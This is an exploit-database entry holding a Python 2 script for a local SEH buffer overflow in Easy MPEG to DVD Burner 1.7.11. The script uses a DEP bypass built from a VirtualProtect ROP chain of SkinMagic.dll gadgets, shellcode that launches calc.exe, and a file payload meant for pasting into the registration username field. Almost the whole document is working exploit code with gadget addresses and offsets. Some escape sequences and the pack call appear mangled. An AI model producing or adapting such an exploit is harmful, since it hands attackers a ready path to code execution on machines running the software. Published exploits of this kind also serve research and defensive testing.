Exploit/Advisories

# Exploit Title: Easy MPEG to DVD Burner 1.7.11 - Buffer Overflow (SEH + DEP)
# Date: 2020-04-15
# Exploit Author: Bailey Belisario
# Tested On: Windows 7 Ultimate x64
# Software Link: https://www.exploit-db.com/apps/32dc10d6e60ceb4d6e57052b6de3a0ba-easy_mpeg_to_dvd.exe
# Version: 1.7.11
# Exploit Length: 1015 Bytes
# Steps : Open application > Register > In Username field paste content of pwn.txt file (Note open this in sublime or vscode)

# Easy MPEG to DVD Burner 1.7.11 SEH + DEP Bypass using VirtualProtect() on Local Buffer Overflow
# Exploit used with Python2.7
#------------------------------------------------------------------------------------------------------------------------------------#
# Bad Characters: x00x0ax0d #
# SEH Offset: 1012 #
# Modules Used: SkinMagic.dll & Easy MPEG to DVD Burner.exe #
#------------------------------------------------------------------------------------------------------------------------------------#

# Register setup for VirtualProtect() (Bypass DEP) :
#---------------------------------------------------
# EAX = Points to PUSHAD at time VirtualProtect() is called
# ECX = lpflOldProtect (0x10047d30 as writable location)
# EDX = flNewProtect(0x40)
# EBX = dwSize (0x92)
# ESP = lpAddress (automatic)
# EBP = ReturnTo (ptr to jmp esp)
# ESI = ptr to VirtualProtect()
# EDI = ROP NOP (RETN)

import struct

def create_rop_chain():

rop_gadgets = [

# Put 1 in EDX and decrement to 0
0x10031752, # XOR EDX,EDX # CMP EAX,DWORD PTR [ECX+8] # SETGE DL # MOV AL,DL # RETN
0x1003629a, # ADD EAX,4 # DEC EDX # JNE SKINMAGIC!SETSKINMENU+0X2F505 (10036295) # POP ESI # RETN
0x11111111, # Filler

# Pop the pointer of VirtualProtect into EAX
0x10037b12, # POP EAX # RETN
0x1003b268, # ptr to &VirtualProtect() [IAT SkinMagic.dll]

# Dereference Pointer into EDX then move back to EAX
0x1001c011, # ADD EDX,DWORD PTR [EAX] # RETN 0x0C
0x10031772, # MOV EAX,EDX # RETN
0x11111111, # Filler
0x11111111, # Filler
0x11111111, # Filler

# Push VP and pop into EBP
0x1002e17b, # PUSH EAX # PUSH ESP # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x0C
0x10037b12, # POP EAX # RETN
0x11111111, # Filler
0x11111111, # Filler
0x11111111, # Filler

# Use this to get to address needed to Pop VP into ESI
0x1003619e, # POP EAX # POP ESI # RETN

# Move VP to +12 on stack then push the POP POP RETN
0x10032485, # MOV DWORD PTR [ESP+0CH],EBP # LEA EBP,DWORD PTR DS:[ESP+0CH] # PUSH EAX # RETN
0x11111111, # Filler popped
0x11111111, # Filler popped

# Set ESI to VP
0x1002e1ce, # POP ESI # RETN [SkinMagic.dll]
0x11111111, # Where VP is MOV into

# Set EBP with POP EBP RETN
0x1002894f, # POP EBP # RETN [SkinMagic.dll]
0x1002894f, # skip 4 bytes [SkinMagic.dll]

# Set EDX (# s -d 0x10000000 L?0x10050000 0000003f < - used to find 3F)
# Clear out EDX, set it to 0x01, find address where DWORD of EAX will be 0x3F, then add to EDX to be 0x40
0x10031752, # XOR EDX,EDX # CMP EAX,DWORD PTR [ECX+8] # SETGE DL # MOV AL,DL # RETN
0x10037b12, # POP EAX # RETN
0x1005a0a0, # Address of 3F
0x10026173, # ADD EDX,DWORD PTR [EAX] # RETN

# Set EBX to 0x92 assuming EBX is 0, but could work with a decent range of numbers
# Note: This should be at least length of shellcode
0x100362c6, # XOR EAX,EAX # RETN
0x10033fb2, # ADD AL,0C9 # RETN
0x10033fb2, # ADD AL,0C9 # RETN
0x10035c12, # ADC BL,AL # OR CL,CL # JNE SKINMAGIC!SETSKINMENU+0X2EEDB (10035C6B) # RETN

# Set ECX to writable location
0x1003603f, # POP ECX # RETN [SkinMagic.dll]
0x10047d30, # &Writable location [SkinMagic.dll]

# Set EDI to ROP NOP
0x100395c2, # POP EDI # RETN [SkinMagic.dll]
0x10032982, # RETN (ROP NOP) [SkinMagic.dll]

# Do PUSHAD and be 1337
0x10037654, # POP EAX # RETN
0xa140acd2, # CONSTANT
0x100317c8, # ADD EAX,5EFFC883 # RETN
0x1003248d, # PUSH EAX # RETN

# Used to jump to ESP
0x1001cc57, # ptr to 'push esp # ret ' [SkinMagic.dll]
]
return ''.join(struct.pack('

ropChain = create_rop_chain()

# CALC.EXE for POC
shell = ("x31xD2x52x68x63x61x6Cx63x89xE6x52x56x64x8Bx72"
"x30x8Bx76x0Cx8Bx76x0CxADx8Bx30x8Bx7Ex18x8Bx5F"
"x3Cx8Bx5Cx1Fx78x8Bx74x1Fx20x01xFEx8Bx4Cx1Fx24"
"x01xF9x0FxB7x2Cx51x42xADx81x3Cx07x57x69x6Ex45"
"x75xF1x8Bx74x1Fx1Cx01xFEx03x3CxAExFFxD7")

# 148 Bytes needed to return to ROP CHAIN
paddingBeginning = "B"*148

# NOP Sled needs to be sufficient length, from some math, I came out with a buffer of 444 - len(ROP CHAIN)
nopLen = 444 - len(ropChain)
nopSled = 'x90'*nopLen

# Padding to SEH needs to consider the 420 bytes remaining - shellcode
paddingMiddleLen = 420 - len(shell)
paddingMiddle = 'B'*paddingMiddleLen

# 0x004043ee (add esp, 7D4) Stack Pivot 2004 bytes
# This brings total bytes to SEH Offset (1012) + 3 for a total of 1015 bytes
seh = "xeex43x40"

# Exploit Visualization #
#------------------------#
# BBBBBBBBBBBBBBBBBBBB #
#------------------------#
# ROP CHAIN #
#------------------------#
# NOPS #
#------------------------#
# SHELL CODE #
#------------------------#
# BBBBBBBBBBBBBBBBBBBB #
#------------------------#
# SEH #
#------------------------#

exploit = paddingBeginning + ropChain + nopSled + shell + paddingMiddle + seh

file = open("pwn.txt", 'w')
file.write(exploit)
file.close()

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